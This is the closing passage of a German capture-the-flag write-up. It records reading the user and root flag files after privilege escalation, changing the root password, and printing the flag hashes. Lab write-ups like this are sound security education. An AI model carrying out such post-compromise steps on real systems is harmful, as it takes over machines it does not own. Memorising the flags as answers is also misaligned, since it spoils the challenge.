**Analyse:** In der Root-Shell wird ins `/root`-Verzeichnis gewechselt, die `root.txt` gefunden und deren Inhalt (die Root-Flag) ausgelesen. Anschließend wird das Root-Passwort geändert (optionaler Schritt).

**Bewertung:** Root-Flag erfolgreich erlangt.

Privilege Escalation erfolgreich abgeschlossen.

Flags

cat /home/brad/user.txt
56a42034352d678d4e6ee235c5419cb3
cat /root/root.txt
cfd58a2c97ff992fd7777c5e1baf8265